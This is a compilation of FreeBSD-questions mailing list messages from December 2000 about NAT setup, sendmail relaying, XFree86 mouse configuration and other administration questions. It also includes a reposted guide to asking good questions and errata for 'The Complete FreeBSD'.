to /etc/rc.conf, add a few lines to /etc/rc.firewall. Bada-Bing!
Welcome to the club.
-Otter

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Help!!!!

I'm trying to set up a home network using a BSD box as a server and a
Windows box as a client.

Information on the web involving nat etc. is so contradictory and
outdated I am getting nowhere.

I have connectivity between the boxes using Telnet, but I cannot get
out to the internet with the client.

Using FreeBSD 4.1.1

BSD box:    ed0 is 24.aa.bb.cc    255.255.252.0 (NIC to the net using
DHCP)
                  ed1 is 10.0.0.1         255.255.255.0 (internal
network NIC)

Windows Box is 10.0.0.2 255.255.255.0

Is the any step by step SIMPLE instructions on where and how to
configure the firewall, and NAT and such?

I'm not a complete freaking idiot, but I'm too new at this to cipher
through what is outdated and what is accurate, and what is horsesh*t
inacurately written by other amateurs.

thanx
J.R.



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I've installed XFree 4 from the ports and run the config script.  My mouse
is a Microsoft mouse with the wheel.  I think this is the Intellimouse?

Anyway, I've tried several different choices from the config menus including
Intellimouse, PS/2, Microsoft Compatible, etc.  In each case, when I start
XFree86, the mouse cursor starts in the middle of the screen.  But as soon
as I move it, it goes to the top and moves very erraticly.

How can I fix this?  Where do I begin troubleshooting?  What information
would be helpful to post?  I searched the topic in the archives but nothing
helps my situation.

TIA,

Drew



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> -----Original Message-----
> From: trini0 [mailto:trini0@optonline.net]
> Sent: Friday, December 22, 2000 1:08 PM
> To: doug@safeport.com; FreeBSD Questions
> Subject: Re: How to remove KDE 2.0.1
>
>
> If a make deinstall doesn't do it for me, I do pkg_delete -f
> "portname".  The "-f" removes the dependencies to that
> particular port.

Does this really remove the dependencies or just allow the removal of a
particular port even if dependencies still exist?

Thanks,

Drew

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On Fri, Dec 22, 2000 at 04:02:16PM -0000, Jason Halbert wrote:
> Okay.. I feel stupid..
> 
> I'm trying to setup POP and SMTP internet mail servers on my box.  I
> have a domain (jason-n3xt.org).  On my box I have popper set to run
> for POP and sendmail for SMTP.
> 
> On my laptop I can setup Outlook Express for my POP server and it
> connects and checks mail fine.
> 
> I can't seem to figure out how to setup sendmail to work for internet
> mail.  I think it has something to do with aliases, but I don't know.
> Here is the error message from Outlook Express:
> 
> The message could not be sent because one of the recipients was
> rejected by the server. The rejected e-mail address was
> 'res02jw5@gte.net'. Subject 'test', Account: 'jason-n3xt.org', Server:
> 'jason-n3xt.org', Protocol: SMTP, Server Response: '550 5.7.1
> <res02jw5@gte.net>... Relaying denied', Port: 25, Secure(SSL): No,
> Server Error: 550, Error Number: 0x800CCC79
> 
> On the server I get:
> 
> jason-n3xt sendmail[226]: eBMFVUt00226: ruleset=check_rcpt, arg1=<
> res02jw5@gte.net >, relay=crtntx1-ar3-098-023.dsl.gtei.net
> [4.33.98.23], reject=550 5.7.1 < res02jw5@gte.net>... Relaying denied
> jason-n3xt sendmail[229]: eBMFVgt00229: SYSERR(root): hash map
> "Alias0": missing map file /etc/mail/aliases.db: No such file or
> directory

The server is reporting two errors with your setup.
    1. You don't have an aliases file.
    2. You haven't relaying enabled for your local network.

If you're using 4.1.1+, your aliases file lives in /etc/mail, along with
the the `access' file.  Your alias file needs to be updated, and then
`newaliases' run to update the database.

You need to read /usr/src/contrib/sendmail/cf/README for a general
description of the access file. Generally you need to put in:

    4.33.98.23  RELAY

in the access file. You could possibly shorten it so that other
machines on the subnet can relay email as well. Once you made your
changes to the access file, you then run `make' in /etc/mail.

Hope this helps.
-- 
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On Fri, Dec 22, 2000 at 07:07:28PM +0300, KIR GABBER wrote:
>  /kernel: pid 235 (sendmail), uid 0: exited on signal 12
> What is wrong?
> RAM IS NORMAL!

Are you sure? Have you tried building a kernel to see whether the
rigors of a build to excercise the RAM? If you get internal compiler
errors during a build, it would indicate h/w errors.

The other possibility is that there's a problem with sendmail. Have
you changed kernel sources? You've generally given too little details
for the list to come up with a diagnostic.
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On Fri, Dec 22, 2000 at 06:45:46PM +0000, Daniel Leal wrote:

[...]
> The PATH in my .profile (root's)  have de directory ... : /usr/local/sbin : ...

Don't put spaces in the path. Incidentally, the default shell for root
is csh, and path changes for csh need to be done in .login or .cshrc

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I apologize for not explaining myself in my first attempt at this
question. (The "/etc/hosts and including domains" thread.) Thanks to
the people that answered back. Now I'll try again. 

I understand what /etc/hosts is for. I want to know why in the
/etc/hosts file, my machine is listed as "janis.quaday.com" instead of
just "janis". And why it has two different entries.

The original /etc/hosts file after a new install of FreeBSD-4.1.1
contains

  127.0.0.1     localhost
  192.168.196.3 joan.quaday.com joan
  192.168.196.3 joan.quaday.com.

Re-reading hosts(5) shows

  For each host a single line should be present with the following
  information: 

         Internet address
         official host name
         aliases

This is the only place where the name part of the specifier is
mentioned. I can believe "official host name" implies FQDN, since that
should be unique across the Internet and therefore arguably official,
but if anyone can expand on that, I'd appreciate it.

I also wonder why my /etc/hosts has a line like

  192.168.196.3   janis.quaday.com.

I know 'named' likes to see that trailing "." so it knows that it has
a complete name, but then why is the name without the "." included?
And according to the hosts(5), "for each host a single line should be
present," but there are two lines for one host, which makes me even
more confused. Everything works, so this isn't important. I'm just
curious.

Thanks again and
Hope you have a very nice day, :-)
Tim Ayers (tayers@bridge.com)



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On Fri, Dec 22, 2000 at 04:07:39PM -0500, John Richard wrote:
> Help!!!!
> 
> I'm trying to set up a home network using a BSD box as a server and a Windows box as a client.
> 
> Information on the web involving nat etc. is so contradictory and outdated I am getting nowhere.
> 
> I have connectivity between the boxes using Telnet, but I cannot get out to the internet with the client.
> 
> Using FreeBSD 4.1.1
> 
> BSD box:    ed0 is 24.aa.bb.cc    255.255.252.0 (NIC to the net using DHCP)
>                   ed1 is 10.0.0.1         255.255.255.0 (internal network NIC)
> 
> Windows Box is 10.0.0.2 255.255.255.0
> 
> Is the any step by step SIMPLE instructions on where and how to configure the firewall, and NAT and such?
> 
> I'm not a complete freaking idiot, but I'm too new at this to cipher through what is outdated and what is accurate, and what is horsesh*t inacurately written by other amateurs.

This kind of comment is unlikely to endear you to any of us "amateurs".
Nobody gets paid for this; so maybe we are all amateurs ?
Work it out yourself.
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On Fri, Dec 22, 2000 at 08:52:52AM -0800, Luigi Rizzo wrote:
> > Hey.
> > 
> > Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> > 1720K image there.
> 
> you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
> the write fails when it hits the first sector (sec.19 track 0) which
> is supposed to be there but is not
> 
> Note that almost surely you won't be able to boot from that disk.
> 
Note also that if you have bad luck you can  physically break the floppy drive
doing this :(
You have been warned !

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I was having couple of problems with FreeBSd and I thought that I should
reload it. And then I followed the tutorial about kernel configuration and
to remove "dependencied" and after that I was at the stage of DHCP and
found that system is not taking IP addres automatically. Then I cancel the
process and then I reboot and got this message:

---------------------
>>FreeBSD/i386 BOOT
Default: 0:fd(0,a)
boot:
-----------------------

I have two floopies kernel.flp and mfsroot.flp and I tried to reboot
it after inserting these two floopies but again I am getting this message 
on my screen.

Whatever I type (say boot) it just appends after 0:fd(0,a)boot

I humbly request you to please advise me what should I do, I know that i
should learn it on my own.

Thanks,

harkirat



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On Sun, Dec 17, 2000 at 12:09:22PM +0800, James Lim wrote:
> Hi all,
> 			
> Recently i had installed djbdns from ports and tried to use tinydns.
...
> So i typed sg.freebsd.org, which i entered into the data file with
> ./add-ns. But it gave me timeout.

Having tried djbdns for only a short while before I switched back to bind,
I cannot help you I'm afraid.  However, since this is not really a FreeBSD
issue, but a djbdns-specific question, you might find a lot more people to
help you on the djbdns mailing list.

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On Fri, 22 Dec 2000, John Richard wrote:

> Is the any step by step SIMPLE instructions on where and how to
> configure the firewall, and NAT and such?

http://www.freebsd.org/handbook/firewalls.html

It's not step-by-step, but it's simple enough. You might also want to look
at /etc/rc.firewall; it has several prewritten rulesets.

G

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            train, comin' your way."

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On Fri, 22 Dec 2000, Jason Halbert wrote:

> The evidence suggests that "Hudson, Henrik H." wrote:
> 
> > Hey Jason-
> >
> > I would suggest reading up on virtusertable  in regards to the
> actual
> > mailboxes for incoming mail. As for the relaying, you need to add
> either
> > your IP or the name that your IP resolves too to the sendmail.cw
> file (if
> > sendmail 8.9 something) or the local-host-allow file if newer then
> that.
> >
(SNIP)
> No I don't think that is correct for sendmail.  I need it to forward
> all mail it recieves from any host to any host.
> 
> I am using the latest version of sendmail and apperently there is some
> FEATURE you have to add so that it relay's without discrimisation.
> I've read lots of stuff on sendmail.org and I can't figure out where
> it's talking about that I have to add the stuff I need to.
> 
> So I'm still lost (if not more so then when I started).
> 
> My POP server is working now though, so that's good.

Jason,

Without going into all kinds of details here because it's just
too long to explain... Sendmail for the last few years has
not allowed relaying unless you specifically allow it.

What you have here is a version of sendmail that requires the
virtual user table and the access database. These are called
features". There is a file in /etc/mail called
"access". It tells sendmail who can access the system.
Relaying is controlled by putting in the access file
domain names or IP addresses of folks allowed to relay
through sendmail's SMTP port 25. Each line consists
of an IP or domain name followed by RELAY. IE;

100.100.100.100 RELAY

This allows IP address 100.100.100.100 to relay thru sendmail. 

To make it work, refer to the first line of the sample access file.
It is an example of how to make the access.db file that
sendmail is sceaming for from the access text file
using makemap.

Put the IP of your Windows box in there followed by RELAY
and run makemap.

The Virtual User Table is also in /etc/mail. You also
use makemap to transform it into database.
"makemap hash /etc/mail/access < /etc/mail/access".

Please read the explanations of these two features on
www.sendmail.org and you will be OK. Also, read the
README file in /etc/mail.
Nice to see a ham and TV guy on here! I'm W2XO
and work at a mobile video company.

-Jim Durham






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On Friday, 22 December 2000 at 11:56:12 +0800, Kathy Quinlan wrote:
> If someone does know where these lists exist or a list that can do these
> sorts of problems, can they please let me know. As apart from these I am
> also looking at porting picoBSD over to an atmel thumb uC. So I will be
> looking at C/ C++ General, Kernel and Networking.
>
> ----- Original Message -----
> On  Friday, December 22, 2000 8:48 PM, "Boris" <koester@x-itec.de> wrote:
>>
>>   I have a question. What about a developer-mailinglist, for
>>   newbies and professionals (specially for freebsd)?

Hmm.  A developer mailing list for newbies seems a little unusual.

>>   I think about something like this:
>>
>>   makefiles-mailinglist (a list about makefiles and ports in general)
>>   c-general
>>   c++-general
>>   c-networking
>>   c++-networking
>>   c-driver
>>   c++-driver
>>   c-security
>>   c++-security
>>   c-kernel-level
>>   c++-kernel-level

This one would be pretty quiet.

>>   c-QA (for discussions about stress-testings and so on)
>>   c++-QA
>>   ...
>>   other things..
>>
>>   It would be interesting for me. A list where a lot of people can
>>   exchange some knowledge. But it should come from freebsd.org not
>>   from somwhere else to keep everything together.

We already have a number of developer mailing lists.  They're not
built in the orthogonal manner you describe.  Instead, they split when
the traffic on one of them becomes too high.  I'd suggest you start
with FreeBSD-hackers@FreeBSD.org, and also look at the list at
http://www.freebsd.org/handbook/eresources.html#ERESOURCES-MAIL.

Greg
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Drew Tomlinson (drewt@writeme.com) wrote:

> I've installed XFree 4 from the ports and run the config script.  My mouse
> is a Microsoft mouse with the wheel.  I think this is the Intellimouse?
> 
> Anyway, I've tried several different choices from the config menus including
> Intellimouse, PS/2, Microsoft Compatible, etc.  In each case, when I start
> XFree86, the mouse cursor starts in the middle of the screen.  But as soon
> as I move it, it goes to the top and moves very erraticly.

If you have a PS/2 mouse, look at your /etc/X11/XF86Config file, and
make sure your mouse driver is has a Protocol of "auto" and the device
is "/dev/sysmouse" or equivalent.

You also might want to try to kill the moused process and set the mouse
device to "dev/psm0". Although I don't have any problem using moused,
I've heard other people report problems.

Finally, XFree86-4.0.1 won't support your mousewheel. This is fixed in
the new XFree86-4.0.2 (not yet in the ports).

Here's my InputDevice section from XF86Config:

Section "InputDevice"
	Identifier  "Mouse0"
	Driver      "mouse"
	Option      "Protocol" "auto"
	Option      "Device" "/dev/sysmouse"
	Option      "Buttons" "3"
   Option      "Emulate3Buttons"
EndSection

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If you look at man natd and follow the directions step-by-step you will have
a useable router.
 

Gene Dinkey 
TCD - PA-RISC based workstations 


-----Original Message-----
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Help!!!!
 
I'm trying to set up a home network using a BSD box as a server and a
Windows box as a client.
 
Information on the web involving nat etc. is so contradictory and outdated I
am getting nowhere.
 
I have connectivity between the boxes using Telnet, but I cannot get out to
the internet with the client.
 
Using FreeBSD 4.1.1
 
BSD box:    ed0 is 24.aa.bb.cc    255.255.252.0 (NIC to the net using DHCP)
                  ed1 is 10.0.0.1         255.255.255.0 (internal network
NIC)
 
Windows Box is 10.0.0.2 255.255.255.0
 
Is the any step by step SIMPLE instructions on where and how to configure
the firewall, and NAT and such?
 
I'm not a complete freaking idiot, but I'm too new at this to cipher through
what is outdated and what is accurate, and what is horsesh*t inacurately
written by other amateurs.
 
thanx
J.R.



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Hi,

After setting the variable CLICOLORS in my environment, ls now gives me
colored output, but I can't get it to print high-constrast colors. I tried
`man ls', but I don't can't find any information about this. I remember that
Leenucks used to have this a few years ago.

Not that I'm that anxious to see high-constrast colors, but without them
colorized output is more or less unusable on a text screen IMHO :)

Does anyone have any more info?

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> > Note that almost surely you won't be able to boot from that disk.
> > 
> Note also that if you have bad luck you can  physically break the floppy drive
> doing this :(

if so, that will also happen with the '1480' format, which uses the same
82 tracks. Fact is, any decent drive is not supposed to break just
because you ask it to move the head too far away, it should just
stop and return some kind of error.

	cheers
	luigi


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On Friday, 22 December 2000 at 11:19:54 -0600, Dan Nelson wrote:
> In the last episode (Dec 22), Lauri Laupmaa said:
>> Under SCO and Solaris there is a program named sar (system activity
>> reporter) Is it (or some such program) ported to freebsd ?
>
> SCO released the source to their sar program to a company called
> Starnix in June '99.  Nothing has happened since then, and the source
> is apparently still not freely available.

I investigated this code last year.  There would have been no problem
in getting the code.  The real issue is that it would have required a
large amount of kernel code changes, and we weren't really sure that
it would give us so much more than sa as to make it worthwhile.  Take
a look at sa(8) and see if you disagree.

Greg
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"Karel J. Bosschaart" wrote:

> Have a look at http://wop21.wop.wtb.tue.nl/freebsd/hwaccel.html . It's
> a description of how I got DRI going with a Matrox G400, based on postings
> in the -multimedia list.
>

Excelent!  I happen to have one of those cards.  Thanks a bunch!  (:





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How to get the best results from FreeBSD questions.
===================================================

Last update 3 September 1999

This is a regular posting to the FreeBSD questions mailing list.  If
you got it in answer to a message you sent, it means that the sender
thinks that at least one of the following things was wrong with your
message:

- You left out a subject line, or the subject line was not appropriate.
- You formatted it in such a way that it was difficult to read.
- You asked more than one unrelated question in one message.
- You sent out a message with an incorrect date, time or time zone.
- You sent out the same message more than once.
- You sent an 'unsubscribe' message to FreeBSD-questions.

If you have done any of these things, there is a good chance that you
will get more than one copy of this message from different people.
Read on, and your next message will be more successful.

This document is also available on the web at
http://www.lemis.com/questions.html.

=====================================================================

Contents:

I:    Introduction
II:   How to unsubscribe from FreeBSD-questions
III:  Should I ask -questions or -hackers?
IV:   How to submit a question to FreeBSD-questions
V:    How to answer a question to FreeBSD-questions

I: Introduction
===============

This is a regular posting aimed to help both those seeking advice from
FreeBSD-questions (the "newcomers"), and also those who answer the
questions (the "hackers").

       Note that the term "hacker" has nothing to do with breaking
       into other people's computers.  The correct term for the latter
       activity is "cracker", but the popular press hasn't found out
       yet.  The FreeBSD hackers disapprove strongly of cracking
       security, and have nothing to do with it.

In the past, there has been some friction which stems from the
different viewpoints of the two groups.  The newcomers accused the
hackers of being arrogant, stuck-up, and unhelpful, while the hackers
accused the newcomers of being stupid, unable to read plain English,
and expecting everything to be handed to them on a silver platter.  Of
course, there's an element of truth in both these claims, but for the
most part these viewpoints come from a sense of frustration.

In this document, I'd like to do something to relieve this frustration
and help everybody get better results from FreeBSD-questions.  In the
following section, I recommend how to submit a question; after that,
we'll look at how to answer one.

II:  How to unsubscribe from FreeBSD-questions
==============================================

When you subscribed to FreeBSD-questions, you got a welcome message
from Majordomo@FreeBSD.ORG.  In this message, amongst other things, it
told you how to unsubscribe.  Here's a typical message:

  Welcome to the freebsd-questions mailing list!

  If you ever want to remove yourself from this mailing list,
  you can send mail to "Majordomo@FreeBSD.ORG" with the following command
  in the body of your email message:

      unsubscribe freebsd-questions Greg Lehey <grog@lemis.de>

  Here's the general information for the list you've
  subscribed to, in case you don't already have it:

  FREEBSD-QUESTIONS               User questions
  This is the mailing list for questions about FreeBSD.  You should not
  send "how to" questions to the technical lists unless you consider the
  question to be pretty technical.

Normally, unsubscribing is even simpler than the message suggests: you
don't need to specify your mail ID unless it is different from the one
which you specified when you subscribed.

If Majordomo replies and tells you (incorrectly) that you're not on
the list, this may mean one of two things:

  1.  You have changed your mail ID since you subscribed.  That's where
      keeping the original message from majordomo comes in handy.  For
      example, the sample message above shows my mail ID as
      grog@lemis.de.  Since then, I have changed it to
      grog@lemis.com.  If I were to try to remove grog@lemis.com from
      the list, it would fail: I would have to specify the name with
      which I joined.

  2.  You're subscribed to a mailing list which is subscribed to
      FreeBSD-questions.  If that's the case, you'll have to figure out
      which one it is and get your name taken off that one.  If you're
      not sure which one it might be, check the headers of the
      messages you receive from freebsd-questions: maybe there's a
      clue there.

If you've done all this, and you still can't figure out what's going
on, send a message to Postmaster@FreeBSD.org, and he will sort things
out for you.  Don't send a message to FreeBSD-questions: they can't
help you.

III: Should I ask -questions, -newbies or -hackers?
===================================================

Two mailing lists handle general questions about FreeBSD,
FreeBSD-questions and FreeBSD-hackers.  In addition, the
FreeBSD-newbies list caters specifically for people who are new to
FreeBSD and may be having trouble getting used to the environment.  In
some cases, it's not really clear which group you should ask.  The
following criteria should help for 99% of all questions, however:

     If the question is of a general nature, first check whether this
     isn't a Frequently Asked Question (FAQ).  There's a list of these
     questions at http://www.freebsd.org/FAQ/FAQ.html, and also on
     your own system (once you've installed it) at
     /usr/share/doc/FAQ/FAQ.html.  Check there, and if you don't find
     an answer, ask FreeBSD-questions.  Examples might be questions
     about installing FreeBSD or the use of a particular UNIX utility.

     If you think the question relates to a bug, but you're not sure,
     or you don't know how to look for it, send the message to
     FreeBSD-questions.

     If the question relates to a bug, and you're almost sure that
     it's a bug (for example, you can pinpoint the place in the code
     where it happens, and you maybe have a fix), then send the
     message to FreeBSD-hackers.  You should also enter a problem
     report with the send-pr utility.

     If the question relates to enhancements to FreeBSD, and you can
     make suggestions about how to implement them, then send the
     message to FreeBSD-hackers.

     If the question is of particularly technical nature, such as
     implementation details or suggestions for improvements, then send
     the message to FreeBSD-hackers.

     If you're new to FreeBSD, and the message is about your own
     relationship to FreeBSD, send the message to FreeBSD-newbies.

There are also a number of other specialized mailing lists, for
example FreeBSD-isp, which caters to the interests of ISPs (Internet
Service Providers) who run FreeBSD.  If you happen to be an ISP, this
doesn't mean you should automatically send your questions to
FreeBSD-isp.  The criteria above still apply, and it's in your
interest to stick to them, since you're more likely to get good
results that way.

IV:  How to submit a question
=============================

When submitting a question to FreeBSD-questions, consider the
following points:

  1.  Remember that nobody gets paid for answering a FreeBSD question.
      They do it of their own free will.  You can influence this free
      will positively by submitting a well-formulated question
      supplying as much relevant information as possible.  You can
      influence this free will negatively by submitting an incomplete,
      illegible, or rude question.  It's perfectly possible to send a
      message to FreeBSD-questions and not get an answer even if you
      follow these rules.  It's much more possible to not get an
      answer if you don't.  In the rest of this document, we'll look
      at how to get the most out of your question to
      FreeBSD-questions.

  2.  Not everybody who answers FreeBSD questions reads every message:
      they look at the subject line and decide whether it interests
      them.  Clearly, it's in your interest to specify a subject.
      ``FreeBSD problem'' or ``Help'' aren't enough.  If you provide
      no subject at all, many people won't bother reading it.  If your
      subject isn't specific enough, the people who can answer it may
      not read it.

  3.  Format your message so that it is legible, and PLEASE DON'T
      SHOUT!!!!!.  We appreciate that a lot of people don't speak
      English as their first language, and we try to make allowances
      for that, but it's really painful to try to read a message
      written full of typos or without any line breaks.  A lot of
      badly formatted messages come from bad mailers or badly
      configured mailers.  The following mailers are known to send out
      badly formatted messages without you finding out about them:

      Eudora
      exmh
      Microsoft Exchange
      Microsoft Internet Mail
      Microsoft Outlook
      Netscape

      As you can see, the mailers in the Microsoft world are frequent
      offenders.  If at all possible, use a UNIX mailer.  If you must
      use a mailer under Microsoft environments, make sure it is set
      up correctly.  Try not to use MIME: a lot of people use mailers
      which don't get on very well with MIME.

      For further information on this subject, check out
      http://www.lemis.com/email.html.

  4.  Make sure your time and time zone are set correctly.  This may
      seem a little silly, since your message still gets there, but
      many of the people you are trying to reach get several hundred
      messages a day.  They frequently sort the incoming messages by
      subject and by date, and if your message doesn't come before the
      first answer, they may assume they missed it and not bother to
      look.

  5.  Don't include unrelated questions in the same message.  Firstly,
      a long message tends to scare people off, and secondly, it's
      more difficult to get all the people who can answer all the
      questions to read the message.

  6.  Specify as much information as possible.  This is a difficult
      area, and we need to expand on what information you need to
      submit, but here's a start:

         If you get error messages, don't say ``I get error
         messages'', say (for example) ``I get the error message 'No
         route to host'''.

         If your system panics, don't say ``My system panicked'', say
         (for example) ``my system panicked with the message 'free
         vnode isn't'''.

         If you have difficulty installing FreeBSD, please tell us
         what hardware you have.  In particular, it's important to
         know the IRQs and I/O addresses of the boards installed in
         your machine.

         If you have difficulty getting PPP to run, describe the
         configuration.  Which version of PPP do you use? What kind of
         authentication do you have? Do you have a static or dynamic
         IP address? What kind of messages do you get in the log file?

  7.  If you don't get an answer immediately, or if you don't even see
      your own message appear on the list immediately, don't resend
      the message.  Wait at least 24 hours.  The FreeBSD mailer
      offloads messages to a number of subordinate mailers around the
      world, and sometimes it can take several hours for the mail to
      get through.  And once it gets through, the one person who might
      know the answer will probably just have gone to bed in his part
      of the world.

  8.  If you do all this, and you still don't get an answer, there
      could be other reasons.  For example, the problem is so
      complicated that nobody knows the answer, or the person who does
      know the answer was offline.  If you don't get an answer after,
      say, a week, it might help to re-send the message.  If you don't
      get an answer to your second message, though, you're probably
      not going to get one from this forum.  Resending the same
      message again and again will only make you unpopular.

To summarize, let's assume you know the answer to the following
question (yes, it's the same one in each case :-).  You choose which of
these two questions you would be more prepared to answer:


Message 1:
Subject: (none)

I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong.

----------------------------------------------------------------------

Message 2:
Subject: Problems installing FreeBSD

I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm
having a lot of difficulty installing it.  I have a 66 MHz 486 with 16
MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball
disk and a Toshiba 3501XA CD-ROM drive.  The installation works just
fine, but when I try to reboot the system, I get the message "Missing
Operating System".

----------------------------------------------------------------------

V: How to follow up to a question
=================================

Often you will want to send in additional information to a question
you have already sent.  The best way to do this is to reply to your
original message.  This has three advantages:

1.  You include the original message text, so people will know what
    you're talking about.  Don't forget to trim unnecessary text out,
    though.

2.  The text in the subject line stays the same (you did remember to
    put one in, didn't you?).  Many mailers will sort messages by
    subject.  This helps group messages together.

3.  The message reference numbers in the header will refer to the
    previous message.  Some mailers, such as mutt, can thread messages,
    showing the exact relationships between the messages.

VI: How to answer a question
============================

Before you answer a question to FreeBSD-questions, consider:

1.  A lot of the points on submitting questions also apply to
    answering questions.  Read them.

2.  Has somebody already answered the question?  The easiest way to
    check this is to sort your incoming mail by subject: then
    (hopefully) you'll see the question followed by any answers, all
    together.

    If somebody has already answered it, it doesn't automatically mean
    that you shouldn't send another answer.  But it makes sense to
    read all the other answers first.

3.  Do you have something to contribute beyond what has already been
    said?  In general, "Yeah, me too" answers don't help much,
    although there are exceptions, like when somebody is describing a
    problem he's having, and he doesn't know whether it's his fault or
    whether there's something wrong with the hardware or software.  If
    you do send a "me too" answer, you should also include any further
    relevant information.

4.  Are you sure you understand the question? Very frequently, the
    person who asks the question is confused or doesn't express
    himself very well.  Even with the best understanding of the system,
    it's easy to send a reply which doesn't answer the question.  This
    doesn't help: you'll leave the person who submitted the question
    more frustrated or confused than ever.  If nobody else answers, and
    you're not too sure either, you can always ask for more
    information.

5.  Are you sure your answer is correct?  If not, wait a day or so.
    If nobody else comes up with a better answer, you can still reply
    and say, for example, "I don't know if this is correct, but since
    nobody else has replied, why don't you try replacing your ATAPI
    CD-ROM with a frog?".

6.  Unless there's a good reason to do otherwise, reply to the sender
    and to FreeBSD-questions.  Many people on the FreeBSD-questions
    are "lurkers": they learn by reading messages sent and replied to
    by others.  If you take a message which is of general interest off
    the list, you're depriving these people of their information.  Be
    careful with group replies; lots of people send messages with
    hundreds of CCs.  If this is the case, be sure to trim the Cc:
    lines appropriately.

7.  Include relevant text from the original message. Trim it to the
    minimum, but don't overdo it. It should still be possible for
    somebody who didn't read the original message to understand what
    you're talking about.

8.  Use some technique to identify which text came from the original
    message, and which text you add. I personally find that prepending
    ``> '' to the original message works best. Leaving white space
    after the ``> '' and leave empty lines between your text and the
    original text both make the result more readable.

9.  Put your response in the correct place (after the text to which it
    replies). It's very difficult to read a thread of responses where
    each reply comes before the text to which it replies.

10.  Most mailers change the subject line on a reply by prepending a
     text such as ``Re: ''. If your mailer doesn't do it
     automatically, you should do it manually.

11.  If the submitter didn't abide by format conventions (lines too
     long, inappropriate subject line), please fix it.  In the case of
     an incorrect subject line (such as ``HELP!!??''), change the
     subject line to (say) ``Re: Difficulties with sync PPP (was:
     HELP!!??)''. That way other people trying to follow the thread
     will have less difficulty following it.

     In such cases, it's appropriate to say what you did and why you
     did it, but try not to be rude.  If you find you can't answer
     without being rude, don't answer.

     If you just want to reply to a message because of its bad format,
     just reply to the submitter, not to the list.  You can just send
     him this message in reply, if you like.


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          Errata and addenda for the Complete FreeBSD, third edition




                         Last revision: 2 August 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the third edition, formatted  on  17  May  1999.   You'll  find  this
information  on  page  iv  (the  page  before  the  beginning  of  the Table of
Contents).  See the end of this document for instructions on how  to  find  the
errata for an older version.

You can get the current document in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-3.ps. See page 302 of the third  edition
  to  find  out  how  to print out PostScript.  If at all possible, please take
  this document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-3.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

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The Complete FreeBSD


bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

Page ii
_______

The instructions on page ii (opposite the title  page)  tell  you  to  look  at
ftp://ftp.lemis.com/pub/cfbsd/errata-2  for  the  errata  list.   That's wrong.
Look at this list.

Pages 190 and 191
_________________

The description is not very clear about which text appears  when  booting  from
floppy  for  initial  install,  and  which  appears when booting normally.  The
procedure is very similar, but there are some differences.  Add  the  following
text after the heading Boot messages:

You'll  boot  your system in at least two different ways: initially you'll boot
from floppy or CD-ROM in order to install the system.  Later, after the  system
is  installed,  you'll boot from hard disk.  The procedure is almost identical,
so we'll look at both versions in the following examples.

Replace the text from the middle of page 191 with:

If you're booting from 1.44 MB floppies, you will then see:

Please insert MFS root floppy and press enter:

When you insert the MFS root floppy and press  Enter,  you  see  more  twirling
batons, then the UserConfig screen appears.

UserConfig: Modifying the boot configuration
____________________________________________

After  the  kernel has been loaded, the following screen will appear if you are
installing the system, or if you have requested it with the -c  option  to  the
boot loader:

Page 206
________

The  bottom  two lines on this page should be in bold constant font, indicating
that this is input for your /etc/rc.config file


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                     Errata and addenda for the Complete FreeBSD, third edition


nfs_client_enable="YES"       # This host is an NFS client (or NO).
nfs_server_enable="YES"       # This host is an NFS server (or NO).


Page 265
________

The example on the second half of the page refers to the old SCSI driver.   The
scsi  program  is  no  longer  available  in  FreeBSD  3.x.   Instead,  use the
camcontrol program.  Replace the text with:.

Modern disks make provisions for recovering from such errors by  allocating  an
alternate sector for the data.  IDE drives do this automatically, but with SCSI
drives you have the option of enabling or disabling reallocation.   Usually  it
is  turned on when you buy them, but occasionally it is not.  When installing a
new disk, you should check that the parameters  ARRE  (Auto  Read  Reallocation
Enable)  and AWRE (Auto Write Reallocation Enable) are turned on.  For example,
to check and set the values for disk da1, you would enter:

# camcontrol modepage da1 -m 1 -e -P 3
# scsi -f /dev/rda1c -m 1 -e -P 3

This command will start up your favourite editor (either the one  specified  in
the EDITOR environment variable, or vi by default) with the following data:

AWRE (Auto Write Reallocation Enbld):  0
ARRE (Auto Read Reallocation Enbld):  1
TB (Transfer Block):  0
RC (Read Continuous):  0
EER (Enable Early Recovery):  0
PER (Post Error):  0
DTE (Disable Transfer on Error):  0
DCR (Disable Correction):  0
Read Retry Count:  16
Correction Span:  41
Head Offset Count:  0
Data Strobe Offset Count:  0
Write Retry Count:  16
Recovery Time Limit:  0

The  values  for  AWRE  and  ARRE should both be 1.  If they aren't, as in this
case, where AWRE is 0, change the data with the editor, save it, and exit.  The
camcontrol  program will write the data back to the disk and enable the option.


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Page 331
________

The description of the config refers to the SCSI drive sd0.  This  is  the  old
name; in FreeBSD version 3, SCSI drives are called da, so this reference should
be da0.

Thanks  to  Francisco  Reyes  <francisco@natserv.com>  for  pointing  out  this
problem.

Page 362
________

Replace the text at the top of the page with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention,
